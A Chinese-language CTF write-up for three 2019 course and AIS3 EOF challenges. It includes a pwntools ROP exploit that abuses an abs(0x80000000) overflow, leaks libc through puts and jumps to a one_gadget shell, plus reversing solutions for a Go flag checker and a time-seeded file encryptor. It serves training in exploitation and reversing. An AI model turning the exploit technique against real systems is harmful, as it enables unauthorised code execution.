###### tags: `程安` `CTF` # CS 2019 Fall & AIS3 EOF 2019 - by ZR ### Pwn - Impossible * 就 `abs(0x80000000)` overflow ```python= pwn.sendlineafter("Size: ", str(0x80000000)) payload = flat( "A" * (0x100 + 8), pop_rdi, puts_got, puts_plt, main ) pwn.sendafter("It's safe now :)\n", payload) # get libc base address here ... pwn.sendlineafter("Size: ", str(0x80000000)) payload = flat( "A" * (0x100 + 8), pop_r12_r13_r14_r15, 0, 0, 0, 0, one_gadget_offset + libc.address ) pwn.sendafter("It's safe now :)\n", payload) # get shell ``` :::success ![](https://i.imgur.com/b8PeVb3.png) ::: --- ### Reverse - PokemonGo * 就 trace `main.PikaCheck` 的部份,然後把 unrolled loop 弄回去 ```cpp= #include <iostream> using namespace std; bool PikaCheck(string input) { int t0[20]; for (int i = 0; i < input.size(); i++) { int t3 = (int)input[i]; int t8 = (int)input[(i + 1) % input.size()]; t0[i] = t3 + t8; } int offset[20] = {185, 212, 172, 145, 185, 212, 172, 177, 217, 212, 204, 177, 185, 212, 204, 209, 161, 124, 172, 177}; int sum = 0; for (int i = 0; i < 20; i++) { sum += t0[i] - offset[i]; } return (sum == 0); } ``` * 這邊做一個大膽的假設(通靈) : `flag[i] + flag[i+1] == offset[i]` ```python= offset = [185, 212, 172, 145, 185, 212, 172, 177, 217, 212, 204, 177, 185, 212, 204, 209, 161, 124, 172, 177] alpha_numeric = [i for i in range(48, 48 + 9)] # 0 ~ 9 alpha_numeric += [i for i in range(65, 65 + 25)] # A ~ Z alpha_numeric += [i for i in range(97, 97 + 25)] # a ~ z for c in alpha_numeric: flag = [c] for i in offset: if i - flag[-1] in alpha_numeric: flag += [i - flag[-1]] else: break if len(flag) == 21: print("FLAG{", *[chr(_) for _ in flag[:20]], "}", sep="") ``` :::success ![](https://i.imgur.com/j3LvCa3.png) ::: --- ### Reverse - H0W * pyc 先反編 ```python= import sys, struct from terrynini import * if len(sys.argv) != 2: print('Usage: python3 H0W.py filename') exit(0) nini3() f = open(sys.argv[1], 'rb').read() if len(f) % 4 != 0: f += (4 - len(f) % 4) * b'\x00' nini1() nini4() for i in range(0, len(f), 4): nini6(nini5(struct.unpack('<i', f[i:i + 4])[0])) for i in list(map(ord, nini2())): nini6(i) print('Complete') ``` * 去`terrynini.so`裡面找`niniX()`,然後用 IDA 反編然後修改一下 ```cpp= int GitHub; FILE *JetBrains; void nini3() { JetBrains = fopen64("output.txt", "w"); } void nini1() { GitHub = time(0LL); } void nini4() { srand(GitHub); } void nini6(int a2) { fwrite(&a2, 1uLL, 4uLL, JetBrains); } char *nini2() { struct tm *v0 = gmtime((const time_t *)&GitHub); char *v3; __sprintf_chk(&v3, 1LL, 40LL, "%d%02d%02d%02d%02d%02d", ...); return v3; } long long nini5(int v5) { switch (rand() % 4) { case 0: return ichinokata(v5); case 1: return ninokata(v5); case 2: return sannokata(v5); case 3: return yonnokata(v5); } } ``` * 先去`output.txt`找`srand()`的 seed ```python= from pwn import * context.arch = "amd64" f = open("output.txt", "rb").read() data = f[-14*4:] for i in range(0, 14 * 4, 4): print(chr(u32(data[i: i + 4])), end="") # gmtime(GitHub) = 20190803052514 ``` * 寫 script 解密回來 * 雷點 * `struct tm`轉回`time_t`的時候只設`tm_wday`沒用,`tm_mday`才是重點 ```cpp= // gmtime(GitHub) = 2019 08 03 05 25 14 v0->tm_year = (2019 - 1900); v0->tm_mon = 8; // Sep v0->tm_wday = 3; v0->tm_hour = 5; v0->tm_min = 25; v0->tm_sec = 14; // guess tm_mday : 4 | 11 | 17 | 25 in Sep v0->tm_mday = 11; // correct one GitHub = timegm(v0); ``` * `ror` `rol`都要用`unsigned int`,不然會解到壞掉 ```cpp= u_int rol(u_int n, u_int d) { return (n << d) | (n >> (32 - d)); } u_int ror(u_int n, u_int d) { return (n >> d) | (n << (32 - d)); } ``` * 最後會拿到一張 png (下圖非完整圖) :::success ![](https://i.imgur.com/d1VXl1w.jpg) :::